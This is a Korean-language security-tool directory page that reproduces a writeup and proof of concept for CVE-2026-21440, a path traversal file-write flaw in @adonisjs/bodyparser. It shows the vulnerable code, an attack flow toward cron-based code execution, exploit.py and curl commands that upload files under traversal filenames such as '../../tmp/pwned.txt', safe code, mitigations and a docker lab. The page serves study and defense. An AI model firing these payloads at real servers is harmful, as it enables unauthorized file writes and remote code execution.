Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-21440-writeup-poc — poc 및 writeup for cve-2026-21440: @adonisjs/bodyparser의 치명적인 경로 탐색 취약점으로 임의 파일 쓰기를 허용함 | Kitploit
도구/GitHubGitHub/k0nnect/cve-2026-21440-writeup-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationCurated ResourcesLabs & Practice
GitHubk0nnect/cve-2026-21440-writeup-poc

cve-2026-21440-writeup-poc

poc 및 writeup for cve-2026-21440: @adonisjs/bodyparser의 치명적인 경로 탐색 취약점으로 임의 파일 쓰기를 허용함

저장소 보기
378개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

cve-2026-21440

@adonisjs/bodyparser의 경로 순회를 통한 임의 파일 쓰기

CVE-2026-21440 CWE-22 CVSS 9.2


개요

@adonisjs/bodyparser 패키지에 의도된 업로드 디렉터리 외부에 임의의 파일을 작성할 수 있게 하는 치명적인 경로 순회 취약점이 존재합니다. multipartfile.move() 함수가 명시적으로 정화된 파일명을 제공하지 않고 호출되면, 파서는 적절한 정화 없이 클라이언트가 제공한 파일명을 기본값으로 사용합니다.

구현이 path.join()을 사용하고 options.overwrite가 기본적으로 true이기 때문에, 공격자는 디렉터리 순회 시퀀스(예: ../../etc/cron.d/malicious)를 포함한 악의적인 파일명을 조작하여 파일 시스템 어디에든 파일을 작성할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다.


취약점 분석

속성값
cve idcve-2026-21440
cwe 분류cwe-22: 제한된 디렉터리('경로 순회')에 대한 경로명의 부적절한 제한
cvss v3.1 점수9.2 (치명적)
공격 벡터네트워크
공격 복잡도낮음
필요 권한없음
사용자 상호작용없음

근본 원인

취약점은 multipartfile.move(location, options?) 메서드에 존재합니다. 개발자가 options.name을 제공하지 않고 이 메서드를 호출하면, 코드는 정화 없이 this.clientName — 클라이언트가 보낸 원본 파일명 — 을 기본값으로 사용합니다.

root@kitploit:~
// @adonisjs/bodyparser의 취약한 코드 경로
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
  const fileName = options?.name || this.clientName  // ← 정화되지 않은 클라이언트 입력
  const filePath = path.join(location, fileName)     // ← path.join은 순회를 허용함
  // ...
  await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}

공격 흐름

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                         공격자                                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              │ multipart/form-data
                              │ filename="../../etc/cron.d/pwned"
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                    취약한 adonisjs 앱                            │
│                                                                  │
│   request.file('upload')                                        │
│        │                                                         │
│        ▼                                                         │
│   file.move(app.tmpPath())  ← 정화된 이름이 제공되지 않음        │
│        │                                                         │
│        ▼                                                         │
│   path.join('/tmp/uploads', '../../etc/cron.d/pwned')           │
│        │                                                         │
│        ▼                                                         │
│   /etc/cron.d/pwned로 해석됨                                    │
│        │                                                         │
│        ▼                                                         │
│   업로드 디렉터리 외부에 파일 작성                               │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
                    임의 파일 쓰기
                         → cron을 통한 rce
                         → 설정 파일 덮어쓰기
                         → ssh 키 주입

영향을 받는 버전

패키지취약한 버전패치된 버전
@adonisjs/bodyparser≤ 10.1.110.1.2
@adonisjs/bodyparser11.0.0-next.1 ~ 11.0.0-next.511.0.0-next.6

악용

사전 요구 사항

  • 대상 애플리케이션이 취약한 버전의 @adonisjs/bodyparser를 사용 중
  • 파일 업로드 엔드포인트가 명시적인 name 옵션 없이 file.move()를 호출
  • 웹 서버가 대상 디렉터리에 쓰기 권한을 보유

개념 증명

root@kitploit:~
# 악용 디렉터리로 이동
cd Exploit-PoC

# 의존성 설치
pip install -r requirements.txt

# 악용 실행
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"

수동 악용

root@kitploit:~
curl -X POST http://target:3333/upload \
  -F "[email protected];filename=../../tmp/pwned.txt"

탐지 및 완화

취약한 코드 패턴

root@kitploit:~
// ❌ 취약함 - 클라이언트가 제공한 파일명을 사용
public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    await file.move(app.tmpPath())  // clientName이 파일명으로 사용됨
  }
  return response.ok({ message: 'uploaded' })
}

안전한 코드 패턴

root@kitploit:~
// ✅ 안전함 - 정화된 파일명을 생성
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'

public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    // 원본 확장자를 가진 고유 파일명 생성
    const ext = path.extname(file.clientName).toLowerCase()
    const safeName = `${cuid()}${ext}`
    
    await file.move(app.tmpPath(), {
      name: safeName,
      overwrite: false  // 덮어쓰기 방지
    })
  }
  return response.ok({ message: 'uploaded' })
}

추가 완화 조치

  1. 즉시 업그레이드 — @adonisjs/bodyparser를 패치된 버전으로 업데이트
  2. 입력 검증 — 허용 목록에 대해 파일 확장자 검증
  3. 파일명 정화 — 경로 구분자를 제거하고 생성된 이름 사용
  4. 파일 시스템 격리 — 컨테이너화를 사용하여 피해 범위 제한
  5. 최소 권한 원칙 — 최소 권한으로 웹 서버 실행

실습 환경

빠른 시작

root@kitploit:~
# 저장소 복제
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440

# 취약한 환경 시작
docker-compose up --build

# 다른 터미널에서 악용 실행
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"

# 업로드 디렉터리 외부에 파일이 작성되었는지 확인
docker-compose exec app cat /app/test.txt

타임라인

날짜이벤트
2026-01-0210.1.2 및 11.0.0-next.6에서 패치 릴리스
2026-01-02ghsa-gvq6-hvvp-h34h 게시
2026-01-02cve-2026-21440 지정
2026-01-02nvd에 게시

참고 자료

  • nvd - cve-2026-21440
  • cwe-22: 경로 순회
  • adonisjs bodyparser 문서
  • owasp 경로 순회

면책 조항

이 저장소는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 개념 증명 코드는 보안 전문가가 권한이 있는 환경에서 이 취약점을 이해하고 테스트하는 데 도움을 주기 위한 것입니다.

컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 정보의 오용에 대해 어떠한 책임도 지지 않습니다. 취약점을 테스트하기 전에 항상 적절한 승인을 받으십시오.


k0nnect가 ☕와 함께 연구함

도구 다운로드